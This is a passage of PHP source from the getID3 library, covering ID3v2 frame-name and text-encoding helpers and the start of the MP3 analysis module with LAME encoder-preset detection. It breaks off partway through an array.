			SIGN	signature_frame
			SLT	synchronised_lyric
			STC	synced_tempo_codes
			SYLT	synchronised_lyric
			SYTC	synchronised_tempo_codes
			TAL	album
			TALB	album
			TBP	bpm
			TBPM	bpm
			TCM	composer
			TCMP	part_of_a_compilation
			TCO	genre
			TCOM	composer
			TCON	genre
			TCOP	copyright_message
			TCP	part_of_a_compilation
			TCR	copyright_message
			TDA	date
			TDAT	date
			TDEN	encoding_time
			TDLY	playlist_delay
			TDOR	original_release_time
			TDRC	recording_time
			TDRL	release_time
			TDTG	tagging_time
			TDY	playlist_delay
			TEN	encoded_by
			TENC	encoded_by
			TEXT	lyricist
			TFLT	file_type
			TFT	file_type
			TIM	time
			TIME	time
			TIPL	involved_people_list
			TIT1	content_group_description
			TIT2	title
			TIT3	subtitle
			TKE	initial_key
			TKEY	initial_key
			TLA	language
			TLAN	language
			TLE	length
			TLEN	length
			TMCL	musician_credits_list
			TMED	media_type
			TMOO	mood
			TMT	media_type
			TOA	original_artist
			TOAL	original_album
			TOF	original_filename
			TOFN	original_filename
			TOL	original_lyricist
			TOLY	original_lyricist
			TOPE	original_artist
			TOR	original_year
			TORY	original_year
			TOT	original_album
			TOWN	file_owner
			TP1	artist
			TP2	band
			TP3	conductor
			TP4	remixer
			TPA	part_of_a_set
			TPB	publisher
			TPE1	artist
			TPE2	band
			TPE3	conductor
			TPE4	remixer
			TPOS	part_of_a_set
			TPRO	produced_notice
			TPUB	publisher
			TRC	isrc
			TRCK	track_number
			TRD	recording_dates
			TRDA	recording_dates
			TRK	track_number
			TRSN	internet_radio_station_name
			TRSO	internet_radio_station_owner
			TS2	album_artist_sort_order
			TSA	album_sort_order
			TSC	composer_sort_order
			TSI	size
			TSIZ	size
			TSO2	album_artist_sort_order
			TSOA	album_sort_order
			TSOC	composer_sort_order
			TSOP	performer_sort_order
			TSOT	title_sort_order
			TSP	performer_sort_order
			TSRC	isrc
			TSS	encoder_settings
			TSSE	encoder_settings
			TSST	set_subtitle
			TST	title_sort_order
			TT1	content_group_description
			TT2	title
			TT3	subtitle
			TXT	lyricist
			TXX	text
			TXXX	text
			TYE	year
			TYER	year
			UFI	unique_file_identifier
			UFID	unique_file_identifier
			ULT	unsynchronised_lyric
			USER	terms_of_use
			USLT	unsynchronised_lyric
			WAF	url_file
			WAR	url_artist
			WAS	url_source
			WCM	commercial_information
			WCOM	commercial_information
			WCOP	copyright
			WCP	copyright
			WOAF	url_file
			WOAR	url_artist
			WOAS	url_source
			WORS	url_station
			WPAY	url_payment
			WPB	url_publisher
			WPUB	url_publisher
			WXX	url_user
			WXXX	url_user
			TFEA	featured_artist
			TSTU	recording_studio
			rgad	replay_gain_adjustment

		*/

		return getid3_lib::EmbeddedLookup($framename, $begin, __LINE__, __FILE__, 'id3v2-framename_short');
	}

	/**
	 * @param string $encoding
	 *
	 * @return string
	 */
	public static function TextEncodingTerminatorLookup($encoding) {
		// http://www.id3.org/id3v2.4.0-structure.txt
		// Frames that allow different types of text encoding contains a text encoding description byte. Possible encodings:
		static $TextEncodingTerminatorLookup = array(
			0   => "\x00",     // $00  ISO-8859-1. Terminated with $00.
			1   => "\x00\x00", // $01  UTF-16 encoded Unicode with BOM. All strings in the same frame SHALL have the same byteorder. Terminated with $00 00.
			2   => "\x00\x00", // $02  UTF-16BE encoded Unicode without BOM. Terminated with $00 00.
			3   => "\x00",     // $03  UTF-8 encoded Unicode. Terminated with $00.
			255 => "\x00\x00"
		);
		return (isset($TextEncodingTerminatorLookup[$encoding]) ? $TextEncodingTerminatorLookup[$encoding] : "\x00");
	}

	/**
	 * @param int $encoding
	 *
	 * @return string
	 */
	public static function TextEncodingNameLookup($encoding) {
		// http://www.id3.org/id3v2.4.0-structure.txt
		// Frames that allow different types of text encoding contains a text encoding description byte. Possible encodings:
		static $TextEncodingNameLookup = array(
			0   => 'ISO-8859-1', // $00  ISO-8859-1. Terminated with $00.
			1   => 'UTF-16',     // $01  UTF-16 encoded Unicode with BOM. All strings in the same frame SHALL have the same byteorder. Terminated with $00 00.
			2   => 'UTF-16BE',   // $02  UTF-16BE encoded Unicode without BOM. Terminated with $00 00.
			3   => 'UTF-8',      // $03  UTF-8 encoded Unicode. Terminated with $00.
			255 => 'UTF-16BE'
		);
		return (isset($TextEncodingNameLookup[$encoding]) ? $TextEncodingNameLookup[$encoding] : 'ISO-8859-1');
	}

	/**
	 * @param string $string
	 * @param string $terminator
	 *
	 * @return string
	 */
	public static function RemoveStringTerminator($string, $terminator) {
		// Null terminator at end of comment string is somewhat ambiguous in the specification, may or may not be implemented by various taggers. Remove terminator only if present.
		// https://github.com/JamesHeinrich/getID3/issues/121
		// https://community.mp3tag.de/t/x-trailing-nulls-in-id3v2-comments/19227
		if (substr($string, -strlen($terminator), strlen($terminator)) === $terminator) {
			$string = substr($string, 0, -strlen($terminator));
		}
		return $string;
	}

	/**
	 * @param string $string
	 *
	 * @return string
	 */
	public static function MakeUTF16emptyStringEmpty($string) {
		if (in_array($string, array("\x00", "\x00\x00", "\xFF\xFE", "\xFE\xFF"))) {
			// if string only contains a BOM or terminator then make it actually an empty string
			$string = '';
		}
		return $string;
	}

	/**
	 * @param string $framename
	 * @param int    $id3v2majorversion
	 *
	 * @return bool|int
	 */
	public static function IsValidID3v2FrameName($framename, $id3v2majorversion) {
		switch ($id3v2majorversion) {
			case 2:
				return preg_match('#[A-Z][A-Z0-9]{2}#', $framename);

			case 3:
			case 4:
				return preg_match('#[A-Z][A-Z0-9]{3}#', $framename);
		}
		return false;
	}

	/**
	 * @param string $numberstring
	 * @param bool   $allowdecimal
	 * @param bool   $allownegative
	 *
	 * @return bool
	 */
	public static function IsANumber($numberstring, $allowdecimal=false, $allownegative=false) {
		$pattern  = '#^';
		$pattern .= ($allownegative ? '\\-?' : '');
		$pattern .= '[0-9]+';
		$pattern .= ($allowdecimal  ? '(\\.[0-9]+)?' : '');
		$pattern .= '$#';
		return preg_match($pattern, $numberstring);
	}

	/**
	 * @param string $datestamp
	 *
	 * @return bool
	 */
	public static function IsValidDateStampString($datestamp) {
		if (!preg_match('#^[12][0-9]{3}[01][0-9][0123][0-9]$#', $datestamp)) {
			return false;
		}
		$year  = substr($datestamp, 0, 4);
		$month = substr($datestamp, 4, 2);
		$day   = substr($datestamp, 6, 2);
		if (($year == 0) || ($month == 0) || ($day == 0)) {
			return false;
		}
		if ($month > 12) {
			return false;
		}
		if ($day > 31) {
			return false;
		}
		if (($day > 30) && (($month == 4) || ($month == 6) || ($month == 9) || ($month == 11))) {
			return false;
		}
		if (($day > 29) && ($month == 2)) {
			return false;
		}
		return true;
	}

	/**
	 * @param int $majorversion
	 *
	 * @return int
	 */
	public static function ID3v2HeaderLength($majorversion) {
		return (($majorversion == 2) ? 6 : 10);
	}

	/**
	 * @param string $frame_name
	 *
	 * @return string|false
	 */
	public static function ID3v22iTunesBrokenFrameName($frame_name) {
		// iTunes (multiple versions) has been known to write ID3v2.3 style frames
		// but use ID3v2.2 frame names, right-padded using either [space] or [null]
		// to make them fit in the 4-byte frame name space of the ID3v2.3 frame.
		// This function will detect and translate the corrupt frame name into ID3v2.3 standard.
		static $ID3v22_iTunes_BrokenFrames = array(
			'BUF' => 'RBUF', // Recommended buffer size
			'CNT' => 'PCNT', // Play counter
			'COM' => 'COMM', // Comments
			'CRA' => 'AENC', // Audio encryption
			'EQU' => 'EQUA', // Equalisation
			'ETC' => 'ETCO', // Event timing codes
			'GEO' => 'GEOB', // General encapsulated object
			'IPL' => 'IPLS', // Involved people list
			'LNK' => 'LINK', // Linked information
			'MCI' => 'MCDI', // Music CD identifier
			'MLL' => 'MLLT', // MPEG location lookup table
			'PIC' => 'APIC', // Attached picture
			'POP' => 'POPM', // Popularimeter
			'REV' => 'RVRB', // Reverb
			'RVA' => 'RVAD', // Relative volume adjustment
			'SLT' => 'SYLT', // Synchronised lyric/text
			'STC' => 'SYTC', // Synchronised tempo codes
			'TAL' => 'TALB', // Album/Movie/Show title
			'TBP' => 'TBPM', // BPM (beats per minute)
			'TCM' => 'TCOM', // Composer
			'TCO' => 'TCON', // Content type
			'TCP' => 'TCMP', // Part of a compilation
			'TCR' => 'TCOP', // Copyright message
			'TDA' => 'TDAT', // Date
			'TDY' => 'TDLY', // Playlist delay
			'TEN' => 'TENC', // Encoded by
			'TFT' => 'TFLT', // File type
			'TIM' => 'TIME', // Time
			'TKE' => 'TKEY', // Initial key
			'TLA' => 'TLAN', // Language(s)
			'TLE' => 'TLEN', // Length
			'TMT' => 'TMED', // Media type
			'TOA' => 'TOPE', // Original artist(s)/performer(s)
			'TOF' => 'TOFN', // Original filename
			'TOL' => 'TOLY', // Original lyricist(s)/text writer(s)
			'TOR' => 'TORY', // Original release year
			'TOT' => 'TOAL', // Original album/movie/show title
			'TP1' => 'TPE1', // Lead performer(s)/Soloist(s)
			'TP2' => 'TPE2', // Band/orchestra/accompaniment
			'TP3' => 'TPE3', // Conductor/performer refinement
			'TP4' => 'TPE4', // Interpreted, remixed, or otherwise modified by
			'TPA' => 'TPOS', // Part of a set
			'TPB' => 'TPUB', // Publisher
			'TRC' => 'TSRC', // ISRC (international standard recording code)
			'TRD' => 'TRDA', // Recording dates
			'TRK' => 'TRCK', // Track number/Position in set
			'TS2' => 'TSO2', // Album-Artist sort order
			'TSA' => 'TSOA', // Album sort order
			'TSC' => 'TSOC', // Composer sort order
			'TSI' => 'TSIZ', // Size
			'TSP' => 'TSOP', // Performer sort order
			'TSS' => 'TSSE', // Software/Hardware and settings used for encoding
			'TST' => 'TSOT', // Title sort order
			'TT1' => 'TIT1', // Content group description
			'TT2' => 'TIT2', // Title/songname/content description
			'TT3' => 'TIT3', // Subtitle/Description refinement
			'TXT' => 'TEXT', // Lyricist/Text writer
			'TXX' => 'TXXX', // User defined text information frame
			'TYE' => 'TYER', // Year
			'UFI' => 'UFID', // Unique file identifier
			'ULT' => 'USLT', // Unsynchronised lyric/text transcription
			'WAF' => 'WOAF', // Official audio file webpage
			'WAR' => 'WOAR', // Official artist/performer webpage
			'WAS' => 'WOAS', // Official audio source webpage
			'WCM' => 'WCOM', // Commercial information
			'WCP' => 'WCOP', // Copyright/Legal information
			'WPB' => 'WPUB', // Publishers official webpage
			'WXX' => 'WXXX', // User defined URL link frame
		);
		if (strlen($frame_name) == 4) {
			if ((substr($frame_name, 3, 1) == ' ') || (substr($frame_name, 3, 1) == "\x00")) {
				if (isset($ID3v22_iTunes_BrokenFrames[substr($frame_name, 0, 3)])) {
					return $ID3v22_iTunes_BrokenFrames[substr($frame_name, 0, 3)];
				}
			}
		}
		return false;
	}

}

PKEWd[ĥXf����module.audio.mp3.phpnu�[���<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio.mp3.php                                        //
// module for analyzing MP3 files                              //
// dependencies: NONE                                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}


class getid3_mp3 extends getid3_handler
{
	/**
	 * Forces getID3() to scan the file byte-by-byte and log all the valid audio frame headers - extremely slow,
	 * unrecommended, but may provide data from otherwise-unusable files.
	 *
	 * @var bool
	 */
	public $allow_bruteforce = false;

	/**
	 * number of frames to scan to determine if MPEG-audio sequence is valid
	 * Lower this number to 5-20 for faster scanning
	 * Increase this number to 50+ for most accurate detection of valid VBR/CBR mpeg-audio streams
	 *
	 * @var int
	 */
	public $mp3_valid_check_frames = 50;

	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		$initialOffset = $info['avdataoffset'];

		if (!$this->getOnlyMPEGaudioInfo($info['avdataoffset'])) {
			if ($this->allow_bruteforce) {
				$this->error('Rescanning file in BruteForce mode');
				$this->getOnlyMPEGaudioInfoBruteForce();
			}
		}


		if (isset($info['mpeg']['audio']['bitrate_mode'])) {
			$info['audio']['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']);
		}

		$CurrentDataLAMEversionString = null;
		if (((isset($info['id3v2']['headerlength']) && ($info['avdataoffset'] > $info['id3v2']['headerlength'])) || (!isset($info['id3v2']) && ($info['avdataoffset'] > 0) && ($info['avdataoffset'] != $initialOffset)))) {

			$synchoffsetwarning = 'Unknown data before synch ';
			if (isset($info['id3v2']['headerlength'])) {
				$synchoffsetwarning .= '(ID3v2 header ends at '.$info['id3v2']['headerlength'].', then '.($info['avdataoffset'] - $info['id3v2']['headerlength']).' bytes garbage, ';
			} elseif ($initialOffset > 0) {
				$synchoffsetwarning .= '(should be at '.$initialOffset.', ';
			} else {
				$synchoffsetwarning .= '(should be at beginning of file, ';
			}
			$synchoffsetwarning .= 'synch detected at '.$info['avdataoffset'].')';
			if (isset($info['audio']['bitrate_mode']) && ($info['audio']['bitrate_mode'] == 'cbr')) {

				if (!empty($info['id3v2']['headerlength']) && (($info['avdataoffset'] - $info['id3v2']['headerlength']) == $info['mpeg']['audio']['framelength'])) {

					$synchoffsetwarning .= '. This is a known problem with some versions of LAME (3.90-3.92) DLL in CBR mode.';
					$info['audio']['codec'] = 'LAME';
					$CurrentDataLAMEversionString = 'LAME3.';

				} elseif (empty($info['id3v2']['headerlength']) && ($info['avdataoffset'] == $info['mpeg']['audio']['framelength'])) {

					$synchoffsetwarning .= '. This is a known problem with some versions of LAME (3.90 - 3.92) DLL in CBR mode.';
					$info['audio']['codec'] = 'LAME';
					$CurrentDataLAMEversionString = 'LAME3.';

				}

			}
			$this->warning($synchoffsetwarning);

		}

		if (isset($info['mpeg']['audio']['LAME'])) {
			$info['audio']['codec'] = 'LAME';
			if (!empty($info['mpeg']['audio']['LAME']['long_version'])) {
				$info['audio']['encoder'] = rtrim($info['mpeg']['audio']['LAME']['long_version'], "\x00");
			} elseif (!empty($info['mpeg']['audio']['LAME']['short_version'])) {
				$info['audio']['encoder'] = rtrim($info['mpeg']['audio']['LAME']['short_version'], "\x00");
			}
		}

		$CurrentDataLAMEversionString = (!empty($CurrentDataLAMEversionString) ? $CurrentDataLAMEversionString : (isset($info['audio']['encoder']) ? $info['audio']['encoder'] : ''));
		if (!empty($CurrentDataLAMEversionString) && (substr($CurrentDataLAMEversionString, 0, 6) == 'LAME3.') && !preg_match('[0-9\)]', substr($CurrentDataLAMEversionString, -1))) {
			// a version number of LAME that does not end with a number like "LAME3.92"
			// or with a closing parenthesis like "LAME3.88 (alpha)"
			// or a version of LAME with the LAMEtag-not-filled-in-DLL-mode bug (3.90-3.92)

			// not sure what the actual last frame length will be, but will be less than or equal to 1441
			$PossiblyLongerLAMEversion_FrameLength = 1441;

			// Not sure what version of LAME this is - look in padding of last frame for longer version string
			$PossibleLAMEversionStringOffset = $info['avdataend'] - $PossiblyLongerLAMEversion_FrameLength;
			$this->fseek($PossibleLAMEversionStringOffset);
			$PossiblyLongerLAMEversion_Data = $this->fread($PossiblyLongerLAMEversion_FrameLength);
			switch (substr($CurrentDataLAMEversionString, -1)) {
				case 'a':
				case 'b':
					// "LAME3.94a" will have a longer version string of "LAME3.94 (alpha)" for example
					// need to trim off "a" to match longer string
					$CurrentDataLAMEversionString = substr($CurrentDataLAMEversionString, 0, -1);
					break;
			}
			if (($PossiblyLongerLAMEversion_String = strstr($PossiblyLongerLAMEversion_Data, $CurrentDataLAMEversionString)) !== false) {
				if (substr($PossiblyLongerLAMEversion_String, 0, strlen($CurrentDataLAMEversionString)) == $CurrentDataLAMEversionString) {
					$PossiblyLongerLAMEversion_NewString = substr($PossiblyLongerLAMEversion_String, 0, strspn($PossiblyLongerLAMEversion_String, 'LAME0123456789., (abcdefghijklmnopqrstuvwxyzJFSOND)')); //"LAME3.90.3"  "LAME3.87 (beta 1, Sep 27 2000)" "LAME3.88 (beta)"
					if (empty($info['audio']['encoder']) || (strlen($PossiblyLongerLAMEversion_NewString) > strlen($info['audio']['encoder']))) {
						if (!empty($info['audio']['encoder']) && !empty($info['mpeg']['audio']['LAME']['short_version']) && ($info['audio']['encoder'] == $info['mpeg']['audio']['LAME']['short_version'])) {
							if (preg_match('#^LAME[0-9\\.]+#', $PossiblyLongerLAMEversion_NewString, $matches)) {
								// "LAME3.100" -> "LAME3.100.1", but avoid including "(alpha)" and similar
								$info['mpeg']['audio']['LAME']['short_version'] = $matches[0];
							}
						}
						$info['audio']['encoder'] = $PossiblyLongerLAMEversion_NewString;
					}
				}
			}
		}
		if (!empty($info['audio']['encoder'])) {
			$info['audio']['encoder'] = rtrim($info['audio']['encoder'], "\x00 ");
		}

		switch (isset($info['mpeg']['audio']['layer']) ? $info['mpeg']['audio']['layer'] : '') {
			case 1:
			case 2:
				$info['audio']['dataformat'] = 'mp'.$info['mpeg']['audio']['layer'];
				break;
		}
		if (isset($info['fileformat']) && ($info['fileformat'] == 'mp3')) {
			switch ($info['audio']['dataformat']) {
				case 'mp1':
				case 'mp2':
				case 'mp3':
					$info['fileformat'] = $info['audio']['dataformat'];
					break;

				default:
					$this->warning('Expecting [audio][dataformat] to be mp1/mp2/mp3 when fileformat == mp3, [audio][dataformat] actually "'.$info['audio']['dataformat'].'"');
					break;
			}
		}

		if (empty($info['fileformat'])) {
			unset($info['fileformat']);
			unset($info['audio']['bitrate_mode']);
			unset($info['avdataoffset']);
			unset($info['avdataend']);
			return false;
		}

		$info['mime_type']         = 'audio/mpeg';
		$info['audio']['lossless'] = false;

		// Calculate playtime
		if (!isset($info['playtime_seconds']) && isset($info['audio']['bitrate']) && ($info['audio']['bitrate'] > 0)) {
			// https://github.com/JamesHeinrich/getID3/issues/161
			// VBR header frame contains ~0.026s of silent audio data, but is not actually part of the original encoding and should be ignored
			$xingVBRheaderFrameLength = ((isset($info['mpeg']['audio']['VBR_frames']) && isset($info['mpeg']['audio']['framelength'])) ? $info['mpeg']['audio']['framelength'] : 0);

			$info['playtime_seconds'] = ($info['avdataend'] - $info['avdataoffset'] - $xingVBRheaderFrameLength) * 8 / $info['audio']['bitrate'];
		}

		$info['audio']['encoder_options'] = $this->GuessEncoderOptions();

		return true;
	}

	/**
	 * @return string
	 */
	public function GuessEncoderOptions() {
		// shortcuts
		$info = &$this->getid3->info;
		$thisfile_mpeg_audio = array();
		$thisfile_mpeg_audio_lame = array();
		if (!empty($info['mpeg']['audio'])) {
			$thisfile_mpeg_audio = &$info['mpeg']['audio'];
			if (!empty($thisfile_mpeg_audio['LAME'])) {
				$thisfile_mpeg_audio_lame = &$thisfile_mpeg_audio['LAME'];
			}
		}

		$encoder_options = '';
		static $NamedPresetBitrates = array(16, 24, 40, 56, 112, 128, 160, 192, 256);

		if (isset($thisfile_mpeg_audio['VBR_method']) && ($thisfile_mpeg_audio['VBR_method'] == 'Fraunhofer') && !empty($thisfile_mpeg_audio['VBR_quality'])) {

			$encoder_options = 'VBR q'.$thisfile_mpeg_audio['VBR_quality'];

		} elseif (!empty($thisfile_mpeg_audio_lame['preset_used']) && isset($thisfile_mpeg_audio_lame['preset_used_id']) && (!in_array($thisfile_mpeg_audio_lame['preset_used_id'], $NamedPresetBitrates))) {

			$encoder_options = $thisfile_mpeg_audio_lame['preset_used'];

		} elseif (!empty($thisfile_mpeg_audio_lame['vbr_quality'])) {

			static $KnownEncoderValues = array();
			if (empty($KnownEncoderValues)) {

				//$KnownEncoderValues[abrbitrate_minbitrate][vbr_quality][raw_vbr_method][raw_noise_shaping][raw_stereo_mode][ath_type][lowpass_frequency] = 'preset name';
				$KnownEncoderValues[0xFF][58][1][1][3][2][20500] = '--alt-preset insane';        // 3.90,   3.90.1, 3.92
				$KnownEncoderValues[0xFF][58][1][1][3][2][20600] = '--alt-preset insane';        // 3.90.2, 3.90.3, 3.91
				$KnownEncoderValues[0xFF][57][1][1][3][4][20500] = '--alt-preset insane';        // 3.94,   3.95
				$KnownEncoderValues['**'][78][3][2][3][2][19500] = '--alt-preset extreme';       // 3.90,   3.90.1, 3.92
				$KnownEncoderValues['**'][78][3][2][3][2][19600] = '--alt-preset extreme';       // 3.90.2, 3.91
				$KnownEncoderValues['**'][78][3][1][3][2][19600] = '--alt-preset extreme';       // 3.90.3
				$KnownEncoderValues['**'][78][4][2][3][2][19500] = '--alt-preset fast extreme';  // 3.90,   3.90.1, 3.92
				$KnownEncoderValues['**'][78][4][2][3][2][19600] = '--alt-preset fast extreme';  // 3.90.2, 3.90.3, 3.91
				$KnownEncoderValues['**'][78][3][2][3][4][19000] = '--alt-preset standard';      // 3.90,   3.90.1, 3.90.2, 3.91, 3.92
				$KnownEncoderValues['**'][78][3][1][3][4][19000] = '--alt-preset standard';      // 3.90.3
				$KnownEncoderValues['**'][78][4][2][3][4][19000] = '--alt-preset fast standard'; // 3.90,   3.90.1, 3.90.2, 3.91, 3.92
				$KnownEncoderValues['**'][78][4][1][3][4][19000] = '--alt-preset fast standard'; // 3.90.3
				$KnownEncoderValues['**'][88][4][1][3][3][19500] = '--r3mix';                    // 3.90,   3.90.1, 3.92
				$KnownEncoderValues['**'][88][4][1][3][3][19600] = '--r3mix';                    // 3.90.2, 3.90.3, 3.91
				$KnownEncoderValues['**'][67][4][1][3][4][18000] = '--r3mix';                    // 3.94,   3.95
				$KnownEncoderValues['**'][68][3][2][3][4][18000] = '--alt-preset medium';        // 3.90.3
				$KnownEncoderValues['**'][68][4][2][3][4][18000] = '--alt-preset fast medium';   // 3.90.3

				$KnownEncoderValues[0xFF][99][1][1][1][2][0]     = '--preset studio';            // 3.90,   3.90.1, 3.90.2, 3.91, 3.92
				$KnownEncoderValues[0xFF][58][2][1][3][2][20600] = '--preset studio';            // 3.90.3, 3.93.1
				$KnownEncoderValues[0xFF][58][2][1][3][2][20500] = '--preset studio';            // 3.93
				$KnownEncoderValues[0xFF][57][2][1][3][4][20500] = '--preset studio';            // 3.94,   3.95
				$KnownEncoderValues[0xC0][88][1][1][1][2][0]     = '--preset cd';                // 3.90,   3.90.1, 3.90.2,   3.91, 3.92
				$KnownEncoderValues[0xC0][58][2][2][3][2][19600] = '--preset cd';                // 3.90.3, 3.93.1
				$KnownEncoderValues[0xC0][58][2][2][3][2][19500] = '--preset cd';                // 3.93
				$KnownEncoderValues[0xC0][57][2][1][3][4][19500] = '--preset cd';                // 3.94,   3.95
				$KnownEncoderValues[0xA0][78][1][1][3][2][18000] = '--preset hifi';              // 3.90,   3.90.1, 3.90.2,   3.91, 3.92
				$KnownEncoderValues[0xA0][58][2][2][3][2][18000] = '--preset hifi';              // 3.90.3, 3.93,   3.93.1
				$KnownEncoderValues[0xA0][57][2][1][3][4][18000] = '--preset hifi';              // 3.94,   3.95
				$KnownEncoderValues[0x80][67][1][1][3][2][18000] = '--preset tape';              // 3.90,   3.90.1, 3.90.2,   3.91, 3.92
				$KnownEncoderValues[0x80][67][1][1][3][2][15000] = '--preset radio';             // 3.90,   3.90.1, 3.90.2,   3.91, 3.92
				$KnownEncoderValues[0x70][67][1][1][3][2][15000] = '--preset fm';                // 3.90,   3.90.1, 3.90.2,   3.91, 3.92
				$KnownEncoderValues[0x70][58][2][2][3][2][16000] = '--preset tape/radio/fm';     // 3.90.3, 3.93,   3.93.1
				$KnownEncoderValues[0x70][57][2][1][3][4][16000] = '--preset tape/radio/fm';     // 3.94,   3.95
				$KnownEncoderValues[0x38][58][2][2][0][2][10000] = '--preset voice';             // 3.90.3, 3.93,   3.93.1
				$KnownEncoderValues[0x38][57][2][1][0][4][15000] = '--preset voice';             // 3.94,   3.95
				$KnownEncoderValues[0x38][57][2][1][0][4][16000] = '--preset voice';             // 3.94a14
				$KnownEncoderValues[0x28][65][1][1][0][2][7500]  = '--preset mw-us';             // 3.90,   3.90.1, 3.92
				$KnownEncoderValues[0x28][65][1][1][0][2][7600]  = '--preset mw-us';             // 3.90.2, 3.91
				$KnownEncoderValues[0x28][58][2][2][0][2][7000]  = '--preset mw-us';             // 3.90.3, 3.93,   3.93.1
				$KnownEncoderValues[0x28][57][2][1][0][4][10500] = '--preset mw-us';             // 3.94,   3.95
				$KnownEncoderValues[0x28][57][2][1][0][4][11200] = '--preset mw-us';             // 3.94a14
				$KnownEncoderValues[0x28][57][2][1][0][4][8800]  = '--preset mw-us';             // 3.94a15
				$KnownEncoderValues[0x18][58][2][2][0][2][4000]  = '--preset phon+/lw/mw-eu/sw'; // 3.90.3, 3.93.1
				$KnownEncoderValues[0x18][58][2][2][0][2][3900]  = '--preset phon+/lw/mw-eu/sw'; // 3.93
				$KnownEncoderValues[0x18][57][2][1][0][4][5900]  = '--preset phon+/lw/mw-eu/sw'; // 3.94,   3.95
				$KnownEncoderValues[0x18][57][2][1][0][4][6200]  = '--preset phon+/lw/mw-eu/sw'; // 3.94a14
				$KnownEncoderValues[0x18][57][2][1][0][4][3200]  = '--preset phon+/lw/mw-eu/sw'; // 3.94a15
				$KnownEncoderValues[0x10][58][2][2][0][2][3800]  = '--preset phone';             // 3.90.3, 3.93.1
				$KnownEncoderValues[0x10][58][2][2][0][2][3700]  = '--preset phone';             // 3.93
				$KnownEncoderValues[0x10][57][2][1][0][4][5600]  = '--preset phone';             // 3.94,   3.95
			}

			if (isset($KnownEncoderValues[$thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate']][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']])) {

				$encoder_options = $KnownEncoderValues[$thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate']][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']];

			} elseif (isset($KnownEncoderValues['**'][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']])) {

				$encoder_options = $KnownEncoderValues['**'][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']];

			} elseif ($info['audio']['bitrate_mode'] == 'vbr') {

				// http://gabriel.mp3-tech.org/mp3infotag.html
				// int    Quality = (100 - 10 * gfp->VBR_q - gfp->quality)h


				$LAME_V_value = 10 - ceil($thisfile_mpeg_audio_lame['vbr_quality'] / 10);
				$LAME_q_value = 100 - $thisfile_mpeg_audio_lame['vbr_quality'] - ($LAME_V_value * 10);
				$encoder_options = '-V'.$LAME_V_value.' -q'.$LAME_q_value;

			} elseif ($info['audio']['bitrate_mode'] == 'cbr') {

				$encoder_options = strtoupper($info['audio']['bitrate_mode']).ceil($info['audio']['bitrate'] / 1000);

			} else {

				$encoder_options = strtoupper($info['audio']['bitrate_mode']);

			}

		} elseif (!empty($thisfile_mpeg_audio_lame['bitrate_abr'])) {

			$encoder_options = 'ABR'.$thisfile_mpeg_audio_lame['bitrate_abr'];

		} elseif (!empty($info['audio']['bitrate'])) {

			if ($info['audio']['bitrate_mode'] == 'cbr') {
				$encoder_options = strtoupper($info['audio']['bitrate_mode']).round($info['audio']['bitrate'] / 1000);
			} else {
				$encoder_options = strtoupper($info['audio']['bitrate_mode']);
			}

		}
		if (!empty($thisfile_mpeg_audio_lame['bitrate_min'])) {
			$encoder_options .= ' -b'.$thisfile_mpeg_audio_lame['bitrate_min'];
		}

		if (isset($thisfile_mpeg_audio['bitrate']) && $thisfile_mpeg_audio['bitrate'] === 'free') {
			$encoder_options .= ' --freeformat';
		}

		if (!empty($thisfile_mpeg_audio_lame['encoding_flags']['nogap_prev']) || !empty($thisfile_mpeg_audio_lame['encoding_flags']['nogap_next'])) {
			$encoder_options .= ' --nogap';
		}

		if (!empty($thisfile_mpeg_audio_lame['lowpass_frequency'])) {
			$ExplodedOptions = explode(' ', $encoder_options, 4);
			if ($ExplodedOptions[0] == '--r3mix') {
				$ExplodedOptions[1] = 'r3mix';
			}
			switch ($ExplodedOptions[0]) {
				case '--preset':
				case '--alt-preset':
				case '--r3mix':
					if ($ExplodedOptions[1] == 'fast') {
						$ExplodedOptions[1] .= ' '.$ExplodedOptions[2];
					}
					switch ($ExplodedOptions[1]) {
						case 'portable':
						case 'medium':
						case 'standard':
						case 'extreme':
						case 'insane':
						case 'fast portable':
						case 'fast medium':
						case 'fast standard':
						case 'fast extreme':
						case 'fast insane':
						case 'r3mix':
							static $ExpectedLowpass = array(
									'insane|20500'        => 20500,
									'insane|20600'        => 20600,  // 3.90.2, 3.90.3, 3.91
									'medium|18000'        => 18000,
									'fast medium|18000'   => 18000,
									'extreme|19500'       => 19500,  // 3.90,   3.90.1, 3.92, 3.95
									'extreme|19600'       => 19600,  // 3.90.2, 3.90.3, 3.91, 3.93.1
									'fast extreme|19500'  => 19500,  // 3.90,   3.90.1, 3.92, 3.95
									'fast extreme|19600'  => 19600,  // 3.90.2, 3.90.3, 3.91, 3.93.1
									'standard|19000'      => 19000,
									'fast standard|19000' => 19000,
